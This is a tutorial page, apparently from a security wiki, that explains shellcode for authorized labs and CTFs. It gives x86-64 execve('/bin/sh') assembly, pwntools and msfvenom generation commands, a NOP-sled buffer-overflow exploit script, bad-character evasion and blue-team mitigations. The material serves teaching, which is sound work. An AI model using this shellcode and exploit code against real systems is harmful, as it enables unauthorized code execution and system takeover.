Shellcode
Shellcode is a piece of machine code —written directly in assembly/bytes— that performs a specific action when executed, classically spawning a shell (execve("/bin/sh")). It’s the payload that runs once your exploit manages to redirect the flow to a memory region you control that is executable. Today, with NX, direct shellcode is less common (you use ROP instead), but it remains fundamental when there are executable regions (no NX, RWX mmap, JIT).
Threat model
Section titled “Threat model”For a shellcode to run you need two things: (1) control of the flow (RIP pointing at your code) and (2) an executable memory region where your code lives. If NX is enabled, there’s no writable+executable region by default and you must create one with ROP (mprotect/mmap) before jumping. All in an authorized lab/CTF.
Theory: what a typical shellcode does
Section titled “Theory: what a typical shellcode does”The classic x86-64 goal is execve("/bin/sh", NULL, NULL) via the execve syscall (number 59):
; execve("/bin/sh", 0, 0)xor rsi, rsi ; argv = NULLxor rdx, rdx ; envp = NULLmov rax, 0x68732f6e69622f ; "/bin/sh\0" little-endian (no explicit null byte)push rsi ; NULL terminator on the stackpush raxmov rdi, rsp ; RDI -> "/bin/sh"mov rax, 59 ; execve syscall numbersyscallGetting shellcode (don’t reinvent it)
Section titled “Getting shellcode (don’t reinvent it)”pwntools generates and assembles shellcode for many architectures; it’s the most practical option:
from pwn import *context.arch = 'amd64'
sc = asm(shellcraft.amd64.linux.sh()) # ready-made execve("/bin/sh")# or write your own:sc = asm(''' xor rsi, rsi push rsi mov rdi, 0x68732f2f6e69622f push rdi mov rdi, rsp xor rdx, rdx push 59 pop rax syscall''')Other sources: the shell-storm database, or msfvenom -p linux/x64/exec CMD=/bin/sh -f python for Metasploit.
Exploitation (lab): delivering and executing
Section titled “Exploitation (lab): delivering and executing”The requirement is an executable region where you write the shellcode and jump to. Without NX, the classic path is to put it on the stack with a NOP sled:
from pwn import *context.arch = 'amd64'
sc = asm(shellcraft.amd64.linux.sh())offset = 72ret = p64(stack_addr) # (leaked) address inside the sled
# the NOP sled relaxes precision: land on any \x90 and "slide" into the shellcodepayload = b'\x90'*(offset - len(sc)) + sc + retio = process('./vuln')io.sendline(payload)io.interactive()flowchart TD
A["overflow: RIP = &sled"] --> B["NOP sled (\\x90...)"]
B --> C["slides into the shellcode"]
C --> D["execve('/bin/sh')"]
D --> E["shell"]
With NX you can’t execute the stack. The alternative is to ROP into mprotect(region, len, RWX) (or mmap) to make executable a region where you already wrote the shellcode, then jump to it; or ROP straight into execve (ret2syscall), with no shellcode.
Common constraints (bad chars)
Section titled “Common constraints (bad chars)”Many exploits have forbidden characters (almost always \x00, since it terminates strings; sometimes \x0a, \x20…). The shellcode must avoid them:
- Null-free / alphanumeric shellcode depending on the constraint.
- Encoders that avoid bad chars:
msfvenom -b '\x00\x0a\x20'. - Self-decoding shellcode (decrypts itself at runtime).
- Identify the bad chars by testing byte by byte what gets corrupted in memory.
Shellcode in other contexts
Section titled “Shellcode in other contexts”- Windows: different shellcode (dynamic
kernel32resolution, WinAPI calls). - Staged vs stageless: a small stager that downloads the rest, or everything in one.
- Egghunter: when space is small, searches memory for a marker followed by the large payload.
- In remote exploitation it’s combined with a reverse shell instead of a local
/bin/sh.
Mitigations / Blue Team
Section titled “Mitigations / Blue Team”- NX/DEP — the direct mitigation: non-executable stack/heap blocks injected shellcode.
- ASLR/PIE — make jumping to a fixed address hard.
- W^X (write XOR execute) — no region is both writable and executable (avoid RWX
mmap). - CFI / shadow stack and detection of anomalous RWX regions (EDR), JIT hardening.
- The mitigations that stop
RIPcontrol (canaries, RELRO) prevent ever reaching shellcode execution.
Checklist
Section titled “Checklist”- Define what the shellcode must do (shell/execve/reverse)
- Generate it (pwntools
shellcraft/ msfvenom / shell-storm) - Identify bad chars and avoid them (encoder/null-free)
- Is there an executable region? (no NX, RWX
mmap,mprotect) - NOP sled + shellcode + jump to the region
- If NX: ROP into
mprotect/execveinstead of direct shellcode - Execution confirmed (shell)
- Blue: NX, W^X, ASLR active?